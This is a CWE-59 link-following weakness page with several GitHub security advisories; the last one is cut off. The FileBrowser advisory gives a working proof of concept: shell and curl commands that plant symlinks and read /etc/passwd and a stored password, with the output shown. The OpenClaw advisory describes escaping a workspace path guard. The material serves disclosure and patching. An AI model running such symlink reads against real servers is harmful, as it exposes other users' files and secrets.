Common Weakness Enumeration

CWE-59

Weakness Allowed

Improper Link Resolution Before File Access

Abstraction: Base · Status: Draft

The product attempts to access a file based on the filename, but it does not properly prevent that filename from identifying a link or shortcut that resolves to an unintended resource.

Mapping guidance

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.

Relationships and members
ChildOf: CWE-706 · View CWE-1000
ChildOf: CWE-706 · View CWE-1003
Modes of introduction
Implementation

REALIZATION: This weakness is caused during implementation of an architectural security tactic.

Detection methods

Automated Static Analysis - Binary or Bytecode

According to SOAR [REF-1479], the following detection techniques may be useful:

Cost effective for partial coverage:

Bytecode Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness: SOAR Partial

Manual Static Analysis - Binary or Bytecode

According to SOAR [REF-1479], the following detection techniques may be useful:

Cost effective for partial coverage:

Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness: SOAR Partial

Dynamic Analysis with Automated Results Interpretation

According to SOAR [REF-1479], the following detection techniques may be useful:

Cost effective for partial coverage:

Web Application Scanner

Web Services Scanner

Database Scanners

Effectiveness: SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR [REF-1479], the following detection techniques may be useful:

Cost effective for partial coverage:

Fuzz Tester

Framework-based Fuzzer

Effectiveness: SOAR Partial

Manual Static Analysis - Source Code

According to SOAR [REF-1479], the following detection techniques may be useful:

Highly cost effective:

Focused Manual Spotcheck - Focused manual analysis of source

Manual Source Code Review (not inspections)

Effectiveness: High

Automated Static Analysis - Source Code

According to SOAR [REF-1479], the following detection techniques may be useful:

Cost effective for partial coverage:

Source code Weakness Analyzer

Context-configured Source Code Weakness Analyzer

Effectiveness: SOAR Partial

Architecture or Design Review

According to SOAR [REF-1479], the following detection techniques may be useful:

Highly cost effective:

Formal Methods / Correct-By-Construction

Cost effective for partial coverage:

Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness: High

Notes

Theoretical

Link following vulnerabilities are Multi-factor Vulnerabilities (MFV). They are the combination of multiple elements: file or directory permissions, filename predictability, race conditions, and in some cases, a design limitation in which there is no mechanism for performing atomic file creation operations.

Some potential factors are race conditions, permissions, and predictability.

Content history
Submission: PLOVER · 2006-07-19 · CWE Draft 3
Modification: Eric Dalci · Cigital · 2008-07-01 · CWE 1.0

updated Time_of_Introduction

Modification: CWE Content Team · MITRE · 2008-09-08 · CWE 1.0

updated Alternate_Terms, Applicable_Platforms, Relationships, Other_Notes, Relationship_Notes, Taxonomy_Mappings, Weakness_Ordinalities

Modification: CWE Content Team · MITRE · 2008-11-24 · CWE 1.1

updated Relationships, Taxonomy_Mappings

Modification: CWE Content Team · MITRE · 2009-01-12 · CWE 1.2

updated Relationships

Modification: CWE Content Team · MITRE · 2009-05-27 · CWE 1.4

updated Description, Name

Modification: CWE Content Team · MITRE · 2009-10-29 · CWE 1.6

updated Background_Details, Other_Notes

Modification: CWE Content Team · MITRE · 2010-02-16 · CWE 1.8

updated Potential_Mitigations, Relationships

Modification: CWE Content Team · MITRE · 2010-04-05 · CWE 1.8.1

updated Related_Attack_Patterns

Modification: CWE Content Team · MITRE · 2011-06-01 · CWE 1.13

updated Common_Consequences

Modification: CWE Content Team · MITRE · 2011-09-13 · CWE 2.1

updated Relationships, Taxonomy_Mappings

Modification: CWE Content Team · MITRE · 2012-05-11 · CWE 2.2

updated Common_Consequences, Observed_Examples, References, Relationships

Modification: CWE Content Team · MITRE · 2012-10-30 · CWE 2.3

updated Potential_Mitigations

Modification: CWE Content Team · MITRE · 2014-06-23 · CWE 2.7

updated Common_Consequences, Other_Notes

Modification: CWE Content Team · MITRE · 2014-07-30 · CWE 2.8

updated Detection_Factors, Relationships, Taxonomy_Mappings

Modification: CWE Content Team · MITRE · 2015-12-07 · CWE 2.9

updated Relationships

Modification: CWE Content Team · MITRE · 2017-11-08 · CWE 3.0

updated Affected_Resources, Applicable_Platforms, Causal_Nature, Common_Consequences, Functional_Areas, Likelihood_of_Exploit, Modes_of_Introduction, Relationships, Taxonomy_Mappings

Modification: CWE Content Team · MITRE · 2019-01-03 · CWE 3.2

updated Taxonomy_Mappings

Modification: CWE Content Team · MITRE · 2019-06-20 · CWE 3.3

updated Relationships

Modification: CWE Content Team · MITRE · 2020-02-24 · CWE 4.0

updated Relationships

Modification: CWE Content Team · MITRE · 2021-03-15 · CWE 4.4

updated Relationships

Modification: CWE Content Team · MITRE · 2021-10-28 · CWE 4.6

updated Relationships

Modification: CWE Content Team · MITRE · 2022-04-28 · CWE 4.7

updated Research_Gaps

Modification: CWE Content Team · MITRE · 2022-06-28 · CWE 4.8

updated Relationships

Modification: CWE Content Team · MITRE · 2022-10-13 · CWE 4.9

updated Alternate_Terms, Background_Details, Observed_Examples, References, Relationship_Notes, Theoretical_Notes

Modification: CWE Content Team · MITRE · 2023-01-31 · CWE 4.10

updated Description

Modification: CWE Content Team · MITRE · 2023-04-27 · CWE 4.11

updated Relationships

Modification: CWE Content Team · MITRE · 2023-06-29 · CWE 4.12

updated Mapping_Notes

Modification: CWE Content Team · MITRE · 2025-09-09 · CWE 4.18

updated Detection_Factors, References

Modification: CWE Content Team · MITRE · 2025-12-11 · CWE 4.19

updated Applicable_Platforms, Relationships

Modification: CWE Content Team · MITRE · 2026-10-28 · CWE 5.0

updated Alternate_Terms, Name, Observed_Examples

2740 vulnerabilities reference this CWE, most recent first.

GHSA-MFR3-9CJ8-H2QM

Vulnerability from github – Published: 2022-05-17 01:24 – Updated: 2024-10-21 21:23
VLAI
Summary
SaltStack Salt Insecure Temporary File Creation
Details

Multiple unspecified vulnerabilities in Salt (aka SaltStack) before 2014.1.10 allow local users to have an unspecified impact via vectors related to temporary file creation in (1) seed.py, (2) salt-ssh, or (3) salt-cloud.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "salt"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2014.1.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2014-3563"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-59"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-04-22T22:19:59Z",
    "nvd_published_at": "2014-08-22T17:55:00Z",
    "severity": "HIGH"
  },
  "details": "Multiple unspecified vulnerabilities in Salt (aka SaltStack) before 2014.1.10 allow local users to have an unspecified impact via vectors related to temporary file creation in (1) seed.py, (2) salt-ssh, or (3) salt-cloud.",
  "id": "GHSA-mfr3-9cj8-h2qm",
  "modified": "2024-10-21T21:23:08Z",
  "published": "2022-05-17T01:24:39Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2014-3563"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/95392"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/salt/PYSEC-2014-18.yaml"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/saltstack/salt"
    },
    {
      "type": "WEB",
      "url": "http://docs.saltstack.com/en/latest/topics/releases/2014.1.10.html"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/oss-sec/2014/q3/428"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [],
  "summary": "SaltStack Salt Insecure Temporary File Creation"
}

GHSA-MFRP-422X-34QV

Vulnerability from github – Published: 2022-05-24 17:26 – Updated: 2025-12-03 21:30
VLAI
Details

Net-SNMP through 5.7.3 allows Escalation of Privileges because of UNIX symbolic link (symlink) following.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2020-15861"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-59"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-08-20T01:17:00Z",
    "severity": "HIGH"
  },
  "details": "Net-SNMP through 5.7.3 allows Escalation of Privileges because of UNIX symbolic link (symlink) following.",
  "id": "GHSA-mfrp-422x-34qv",
  "modified": "2025-12-03T21:30:58Z",
  "published": "2022-05-24T17:26:14Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-15861"
    },
    {
      "type": "WEB",
      "url": "https://github.com/net-snmp/net-snmp/issues/145"
    },
    {
      "type": "WEB",
      "url": "https://github.com/net-snmp/net-snmp/commit/4fd9a450444a434a993bc72f7c3486ccce41f602"
    },
    {
      "type": "WEB",
      "url": "https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=966599"
    },
    {
      "type": "WEB",
      "url": "https://security.gentoo.org/glsa/202008-12"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20200904-0001"
    },
    {
      "type": "WEB",
      "url": "https://usn.ubuntu.com/4471-1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-MG62-FPGC-6HJJ

Vulnerability from github – Published: 2022-08-24 00:00 – Updated: 2022-08-27 00:00
VLAI
Details

An improper link resolution flaw can occur while extracting an archive leading to changing modes, times, access control lists, and flags of a file outside of the archive. An attacker may provide a malicious archive to a victim user, who would trigger this flaw when trying to extract the archive. A local attacker may use this flaw to gain more privileges in a system.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2021-31566"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-59"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-08-23T16:15:00Z",
    "severity": "HIGH"
  },
  "details": "An improper link resolution flaw can occur while extracting an archive leading to changing modes, times, access control lists, and flags of a file outside of the archive. An attacker may provide a malicious archive to a victim user, who would trigger this flaw when trying to extract the archive. A local attacker may use this flaw to gain more privileges in a system.",
  "id": "GHSA-mg62-fpgc-6hjj",
  "modified": "2022-08-27T00:00:48Z",
  "published": "2022-08-24T00:00:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-31566"
    },
    {
      "type": "WEB",
      "url": "https://github.com/libarchive/libarchive/issues/1566"
    },
    {
      "type": "WEB",
      "url": "https://github.com/libarchive/libarchive/commit/b41daecb5ccb4c8e3b2c53fd6147109fc12c3043"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2021-31566"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2024237"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2022/11/msg00030.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-MG9G-XRGM-6MF3

Vulnerability from github – Published: 2022-05-24 19:20 – Updated: 2022-05-24 19:20
VLAI
Details

Improper Link Resolution Before File Access ('Link Following') vulnerability in the EPAG component of Bitdefender Endpoint Security Tools for Windows allows a local attacker to cause a denial of service. This issue affects: Bitdefender GravityZone version 7.1.2.33 and prior versions.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2021-3641"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-59"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-11-09T14:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Improper Link Resolution Before File Access (\u0027Link Following\u0027) vulnerability in the EPAG component of Bitdefender Endpoint Security Tools for Windows allows a local attacker to cause a denial of service. This issue affects: Bitdefender GravityZone version 7.1.2.33 and prior versions.",
  "id": "GHSA-mg9g-xrgm-6mf3",
  "modified": "2022-05-24T19:20:08Z",
  "published": "2022-05-24T19:20:08Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-3641"
    },
    {
      "type": "WEB",
      "url": "https://www.bitdefender.com/support/security-advisories/improper-link-resolution-before-file-access-in-bitdefender-gravityzone-va-9921"
    },
    {
      "type": "WEB",
      "url": "https://www.zerodayinitiative.com/advisories/ZDI-22-143"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-MGQF-5MF5-PRFJ

Vulnerability from github – Published: 2026-10-27 21:04 – Updated: 2026-10-27 21:04
VLAI
Summary
FileBrowser: Symlink following escapes user scope allowing arbitrary file read outside the served directory
Details

Summary

File read paths resolve symbolic links with filepath.EvalSymlinks and then operate on the resolved target without re-checking that the target still lies inside the user's source/scope.

A symlink located inside a user's accessible directory that points outside the scope (for example to /etc/passwd, another tenant's directory, SSH keys, or container secrets) is followed transparently, and its contents are served through the normal download, preview, media, and OnlyOffice endpoints. Any authenticated user with download access can read files anywhere the server process can, whenever such a symlink is reachable in their scope.

The same symlink-following read path is used by the public share endpoints, which are authorized only by a share hash and not by any account, so when a public share exposes a directory that contains such a symlink, an unauthenticated attacker holding only the share link reads files outside the scope with no credential.

Details

1. Symlink resolution performs no containment check (indexing/iteminfo/utils.go:110-119)

func ResolveSymlinks(path string) (string, bool, error) {
    resolvedPath, err := filepath.EvalSymlinks(path)   // follows the link to its real target
    if err != nil {
        return path, false, fmt.Errorf("could not resolve symlinks for %s: %v", path, err)
    }
    info, err := os.Lstat(resolvedPath)
    // ...
    return resolvedPath, IsDirectory(info), nil         // returned with no scope validation
}

There is no comparison of resolvedPath against the index/scope root.

2. GetRealPath returns the resolved target unchecked (indexing/indexingFiles.go:991-1008)

absolutePath, err := filepath.Abs(joinedPath)
// ...
realPath, isDir, err := iteminfo.ResolveSymlinks(absolutePath)   // escapes scope here
// ...
return realPath, isDir, err

realPath is then used by file handlers to open and serve the file. No caller re-validates that realPath is a descendant of the user's source root. (By contrast, the project did add containment for archive extraction via symlinkTargetStaysUnderDest, but that guard is specific to extraction and is not applied to this general read path.)

3. The read handlers request symlink following, including the unauthenticated public-share handlers (http/resource.go:96,503, http/media.go:124, http/onlyOffice.go:133, http/public.go:279,441,494)

FollowSymlinks: true,

Authenticated download, preview, media-subtitle, and OnlyOffice read flows all set FollowSymlinks: true, and so do the public share handlers in http/public.go. The public download route is registered as publicApi.HandleFunc("GET /resources/download", withHashFile(publicDownloadHandler)) (http/httpRouter.go:130), where withHashFile authorizes by the share hash alone with no account, so the same escape is reachable with no authentication when a public share exposes a directory containing the symlink.

PoC

Confirmed live on gtstef/filebrowser:1.3.3-stable. A symlink pointing outside the user's directory must exist inside it; here it is placed on the host volume, which is what happens whenever a bind-mounted directory contains symlinks.

1. Start a fresh container and seed a file outside the user's intended subtree.

docker rm -f fb-q-lab 2>/dev/null; rm -rf /tmp/fb-q-lab; mkdir -p /tmp/fb-q-lab/srv/user1
echo "ROOT_DB_PASSWORD=supersecret" > /tmp/fb-q-lab/srv/secret-outside.txt
docker run -d --name fb-q-lab -p 8090:80 -v /tmp/fb-q-lab/srv:/srv gtstef/filebrowser:1.3.3-stable && sleep 8
TARGET_URL=http://localhost:8090

2. Place symlinks inside the served tree that point outside it. One points at a host file (/etc/passwd), one at the file outside the user's subtree.

docker exec fb-q-lab sh -c 'ln -sf /etc/passwd /srv/user1/passwd_link; ln -sf /srv/secret-outside.txt /srv/user1/secret_link'

Vector 1: authenticated user (any account with download access)

3. Log in as the default admin (the token is passed as the auth query parameter).

ADMIN_TOKEN=$(curl -s -X POST "$TARGET_URL/api/auth/login?username=admin" -H "X-Password: admin" | tr -d '"')

4. Download through the symlinks and read files from outside the scope.

curl -s "$TARGET_URL/api/resources/download?file=/user1/passwd_link&source=srv&auth=$ADMIN_TOKEN" | head -1
curl -s "$TARGET_URL/api/resources/download?file=/user1/secret_link&source=srv&auth=$ADMIN_TOKEN"

Observed output:

[passwd_link] root:x:0:0:root:/root:/bin/sh
[secret_link] ROOT_DB_PASSWORD=supersecret

Vector 2: unauthenticated, via a public share (no account)

5. The owner creates a public share of the directory (a normal use of the share feature). This is the only step that needs an account.

SHARE_HASH=$(curl -s -X POST "$TARGET_URL/api/share?auth=$ADMIN_TOKEN" \
  -H 'Content-Type: application/json' -d '{"path":"/user1","source":"srv"}' \
  | python3 -c "import sys,json;print(json.load(sys.stdin)['hash'])")

6. With only the public share hash and no credential, download through the symlink.

curl -s "$TARGET_URL/public/api/resources/download?hash=$SHARE_HASH&file=/passwd_link" | head -1
curl -s "$TARGET_URL/public/api/resources/download?hash=$SHARE_HASH&file=/secret_link"

Observed output:

[passwd_link] root:x:0:0:root:/root:/bin/sh   (HTTP 200)
[secret_link] ROOT_DB_PASSWORD=supersecret

Both vectors follow each symlink to its target and return content from outside the served directory. Vector 1 works for any scoped non-admin user confined to /user1. Vector 2 needs no account at all, only the public share link, which is why the CVSS score uses PR:N.

Impact

  • Arbitrary file read outside scope: any authenticated user with download access can read any file the server process can access (host configuration, secrets, SSH keys, /etc/passwd, container service-account tokens, other tenants' files).
  • Unauthenticated read via public shares: because the public share download path follows symlinks and is authorized only by the share hash, an attacker with no account reads the same out-of-scope files using only a public share link to a directory that contains such a symlink. This is the PR:N worst case driving the score.
  • Cross-tenant data exposure: in multi-user deployments, one user reads other users' scoped files through a symlink.
  • Broad sink coverage: the same gap affects authenticated download, preview, media/subtitle, and OnlyOffice read flows and the public share handlers, all of which follow symlinks.
  • Precondition: a symlink pointing outside the scope must be reachable in the served directory (for the unauthenticated vector, inside a publicly shared directory). This is common where host directories are bind-mounted (the typical Docker deployment) or where scopes overlap shared storage.

Recommended Fix

After resolving symlinks, verify the resolved real path is still contained within the user's source root, and reject otherwise:

// indexing/indexingFiles.go, GetRealPath, after ResolveSymlinks:
rootReal, _ := filepath.EvalSymlinks(idx.Path)
rel, err := filepath.Rel(rootReal, realPath)
if err != nil || rel == ".." || strings.HasPrefix(rel, ".."+string(os.PathSeparator)) {
    return "", false, fmt.Errorf("resolved path escapes source scope")
}

Apply the same containment check (or reuse the existing symlinkTargetStaysUnderDest logic) on every read path that sets FollowSymlinks: true. As a deployment-hardening option, add a setting to refuse to follow symlinks that leave the source root entirely.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/gtsteffaniak/filebrowser/backend"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.0-20260814233832-4126edeb07a0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-116682"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-59"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-27T21:04:40Z",
    "nvd_published_at": "2026-10-27T18:17:36Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nFile read paths resolve symbolic links with `filepath.EvalSymlinks` and then operate on the resolved target without re-checking that the target still lies inside the user\u0027s source/scope. \n\nA symlink located inside a user\u0027s accessible directory that points outside the scope (for example to `/etc/passwd`, another tenant\u0027s directory, SSH keys, or container secrets) is followed transparently, and its contents are served through the normal download, preview, media, and OnlyOffice endpoints. Any authenticated user with download access can read files anywhere the server process can, whenever such a symlink is reachable in their scope. \n\nThe same symlink-following read path is used by the public share endpoints, which are authorized only by a share hash and not by any account, so when a public share exposes a directory that contains such a symlink, an unauthenticated attacker holding only the share link reads files outside the scope with no credential.\n\n## Details\n\n**1. Symlink resolution performs no containment check (`indexing/iteminfo/utils.go:110-119`)**\n\n```go\nfunc ResolveSymlinks(path string) (string, bool, error) {\n    resolvedPath, err := filepath.EvalSymlinks(path)   // follows the link to its real target\n    if err != nil {\n        return path, false, fmt.Errorf(\"could not resolve symlinks for %s: %v\", path, err)\n    }\n    info, err := os.Lstat(resolvedPath)\n    // ...\n    return resolvedPath, IsDirectory(info), nil         // returned with no scope validation\n}\n```\n\nThere is no comparison of `resolvedPath` against the index/scope root.\n\n**2. `GetRealPath` returns the resolved target unchecked (`indexing/indexingFiles.go:991-1008`)**\n\n```go\nabsolutePath, err := filepath.Abs(joinedPath)\n// ...\nrealPath, isDir, err := iteminfo.ResolveSymlinks(absolutePath)   // escapes scope here\n// ...\nreturn realPath, isDir, err\n```\n\n`realPath` is then used by file handlers to open and serve the file. No caller re-validates that `realPath` is a descendant of the user\u0027s source root. (By contrast, the project did add containment for archive extraction via `symlinkTargetStaysUnderDest`, but that guard is specific to extraction and is not applied to this general read path.)\n\n**3. The read handlers request symlink following, including the unauthenticated public-share handlers (`http/resource.go:96,503`, `http/media.go:124`, `http/onlyOffice.go:133`, `http/public.go:279,441,494`)**\n\n```go\nFollowSymlinks: true,\n```\n\nAuthenticated download, preview, media-subtitle, and OnlyOffice read flows all set `FollowSymlinks: true`, and so do the public share handlers in `http/public.go`. The public download route is registered as `publicApi.HandleFunc(\"GET /resources/download\", withHashFile(publicDownloadHandler))` (`http/httpRouter.go:130`), where `withHashFile` authorizes by the share hash alone with no account, so the same escape is reachable with no authentication when a public share exposes a directory containing the symlink.\n\n## PoC\n\nConfirmed live on `gtstef/filebrowser:1.3.3-stable`. A symlink pointing outside the user\u0027s directory must exist inside it; here it is placed on the host volume, which is what happens whenever a bind-mounted directory contains symlinks.\n\n**1. Start a fresh container and seed a file outside the user\u0027s intended subtree.**\n```bash\ndocker rm -f fb-q-lab 2\u003e/dev/null; rm -rf /tmp/fb-q-lab; mkdir -p /tmp/fb-q-lab/srv/user1\necho \"ROOT_DB_PASSWORD=supersecret\" \u003e /tmp/fb-q-lab/srv/secret-outside.txt\ndocker run -d --name fb-q-lab -p 8090:80 -v /tmp/fb-q-lab/srv:/srv gtstef/filebrowser:1.3.3-stable \u0026\u0026 sleep 8\nTARGET_URL=http://localhost:8090\n```\n\n**2. Place symlinks inside the served tree that point outside it.** One points at a host file (`/etc/passwd`), one at the file outside the user\u0027s subtree.\n```bash\ndocker exec fb-q-lab sh -c \u0027ln -sf /etc/passwd /srv/user1/passwd_link; ln -sf /srv/secret-outside.txt /srv/user1/secret_link\u0027\n```\n\n### Vector 1: authenticated user (any account with download access)\n\n**3. Log in as the default admin** (the token is passed as the `auth` query parameter).\n```bash\nADMIN_TOKEN=$(curl -s -X POST \"$TARGET_URL/api/auth/login?username=admin\" -H \"X-Password: admin\" | tr -d \u0027\"\u0027)\n```\n\n**4. Download through the symlinks and read files from outside the scope.**\n```bash\ncurl -s \"$TARGET_URL/api/resources/download?file=/user1/passwd_link\u0026source=srv\u0026auth=$ADMIN_TOKEN\" | head -1\ncurl -s \"$TARGET_URL/api/resources/download?file=/user1/secret_link\u0026source=srv\u0026auth=$ADMIN_TOKEN\"\n```\n\nObserved output:\n```\n[passwd_link] root:x:0:0:root:/root:/bin/sh\n[secret_link] ROOT_DB_PASSWORD=supersecret\n```\n\n### Vector 2: unauthenticated, via a public share (no account)\n\n**5. The owner creates a public share of the directory** (a normal use of the share feature). This is the only step that needs an account.\n```bash\nSHARE_HASH=$(curl -s -X POST \"$TARGET_URL/api/share?auth=$ADMIN_TOKEN\" \\\n  -H \u0027Content-Type: application/json\u0027 -d \u0027{\"path\":\"/user1\",\"source\":\"srv\"}\u0027 \\\n  | python3 -c \"import sys,json;print(json.load(sys.stdin)[\u0027hash\u0027])\")\n```\n\n**6. With only the public share hash and no credential, download through the symlink.**\n```bash\ncurl -s \"$TARGET_URL/public/api/resources/download?hash=$SHARE_HASH\u0026file=/passwd_link\" | head -1\ncurl -s \"$TARGET_URL/public/api/resources/download?hash=$SHARE_HASH\u0026file=/secret_link\"\n```\n\nObserved output:\n```\n[passwd_link] root:x:0:0:root:/root:/bin/sh   (HTTP 200)\n[secret_link] ROOT_DB_PASSWORD=supersecret\n```\n\nBoth vectors follow each symlink to its target and return content from outside the served directory.\nVector 1 works for any scoped non-admin user confined to `/user1`.\nVector 2 needs no account at all, only the public share link, which is why the CVSS score uses `PR:N`.\n\n## Impact\n\n- **Arbitrary file read outside scope:** any authenticated user with download access can read any file the server process can access (host configuration, secrets, SSH keys, `/etc/passwd`, container service-account tokens, other tenants\u0027 files).\n- **Unauthenticated read via public shares:** because the public share download path follows symlinks and is authorized only by the share hash, an attacker with no account reads the same out-of-scope files using only a public share link to a directory that contains such a symlink. This is the `PR:N` worst case driving the score.\n- **Cross-tenant data exposure:** in multi-user deployments, one user reads other users\u0027 scoped files through a symlink.\n- **Broad sink coverage:** the same gap affects authenticated download, preview, media/subtitle, and OnlyOffice read flows and the public share handlers, all of which follow symlinks.\n- **Precondition:** a symlink pointing outside the scope must be reachable in the served directory (for the unauthenticated vector, inside a publicly shared directory). This is common where host directories are bind-mounted (the typical Docker deployment) or where scopes overlap shared storage.\n\n## Recommended Fix\n\nAfter resolving symlinks, verify the resolved real path is still contained within the user\u0027s source root, and reject otherwise:\n\n```go\n// indexing/indexingFiles.go, GetRealPath, after ResolveSymlinks:\nrootReal, _ := filepath.EvalSymlinks(idx.Path)\nrel, err := filepath.Rel(rootReal, realPath)\nif err != nil || rel == \"..\" || strings.HasPrefix(rel, \"..\"+string(os.PathSeparator)) {\n    return \"\", false, fmt.Errorf(\"resolved path escapes source scope\")\n}\n```\n\nApply the same containment check (or reuse the existing `symlinkTargetStaysUnderDest` logic) on every read path that sets `FollowSymlinks: true`. As a deployment-hardening option, add a setting to refuse to follow symlinks that leave the source root entirely.",
  "id": "GHSA-mgqf-5mf5-prfj",
  "modified": "2026-10-27T21:04:41Z",
  "published": "2026-10-27T21:04:40Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/gtsteffaniak/filebrowser/security/advisories/GHSA-mgqf-5mf5-prfj"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-116682"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gtsteffaniak/filebrowser/pull/2795"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gtsteffaniak/filebrowser/pull/2800"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gtsteffaniak/filebrowser/commit/3c8c02414eefd3351ffe437fa39ff6eb150ffa67"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gtsteffaniak/filebrowser/commit/4126edeb07a015c3809a89249b283e07a4e50c38"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/gtsteffaniak/filebrowser"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gtsteffaniak/filebrowser/releases/tag/v1.5.2-stable"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gtsteffaniak/filebrowser/releases/tag/v2.0.1-beta"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "FileBrowser: Symlink following escapes user scope allowing arbitrary file read outside the served directory"
}

GHSA-MGRQ-9F93-WPP5

Vulnerability from github – Published: 2026-03-12 14:21 – Updated: 2026-03-30 13:37
VLAI
Summary
OpenClaw: workspace path guard bypass on non-existent out-of-root symlink leaf
Details

Summary

openclaw had a workspace boundary bypass in workspace-only path validation: when an in-workspace symlink pointed outside the workspace to a non-existent leaf, the first write could pass validation and create the file outside the workspace.

Affected Packages / Versions

  • Package: openclaw (npm)
  • Vulnerable versions: <= 2026.2.25
  • Patched versions: >= 2026.2.26 (pre-set for next planned release)
  • Latest published npm version at update time: 2026.2.25

Details

The boundary check path resolved aliases in a way that allowed a non-existent out-of-root symlink target to pass the initial validation window. A first write through the guarded workspace path could therefore escape the workspace boundary.

The fix hardens canonical boundary resolution so missing-leaf alias paths are evaluated against canonical containment, while preserving valid in-root aliases. This closes the first-write escape condition without regressing valid in-root alias usage.

Fix Commit(s)

  • 46eba86b45e9db05b7b792e914c4fe0de1b40a23
  • 1aef45bc060b28a0af45a67dc66acd36aef763c9

Release Process Note

patched_versions is pre-set to the planned next release (2026.2.26). Once npm release 2026.2.26 is published, this advisory can be published directly.

Thanks @tdjackey for reporting.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2026.2.25"
      },
      "package": {
        "ecosystem": "npm",
        "name": "openclaw"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2026.2.26"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-32055"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-59"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-12T14:21:49Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n`openclaw` had a workspace boundary bypass in workspace-only path validation: when an in-workspace symlink pointed outside the workspace to a non-existent leaf, the first write could pass validation and create the file outside the workspace.\n\n### Affected Packages / Versions\n- Package: `openclaw` (npm)\n- Vulnerable versions: `\u003c= 2026.2.25`\n- Patched versions: `\u003e= 2026.2.26` (pre-set for next planned release)\n- Latest published npm version at update time: `2026.2.25`\n\n### Details\nThe boundary check path resolved aliases in a way that allowed a non-existent out-of-root symlink target to pass the initial validation window. A first write through the guarded workspace path could therefore escape the workspace boundary.\n\nThe fix hardens canonical boundary resolution so missing-leaf alias paths are evaluated against canonical containment, while preserving valid in-root aliases. This closes the first-write escape condition without regressing valid in-root alias usage.\n\n### Fix Commit(s)\n- `46eba86b45e9db05b7b792e914c4fe0de1b40a23`\n- `1aef45bc060b28a0af45a67dc66acd36aef763c9`\n\n### Release Process Note\n`patched_versions` is pre-set to the planned next release (`2026.2.26`). Once npm release `2026.2.26` is published, this advisory can be published directly.\n\nThanks 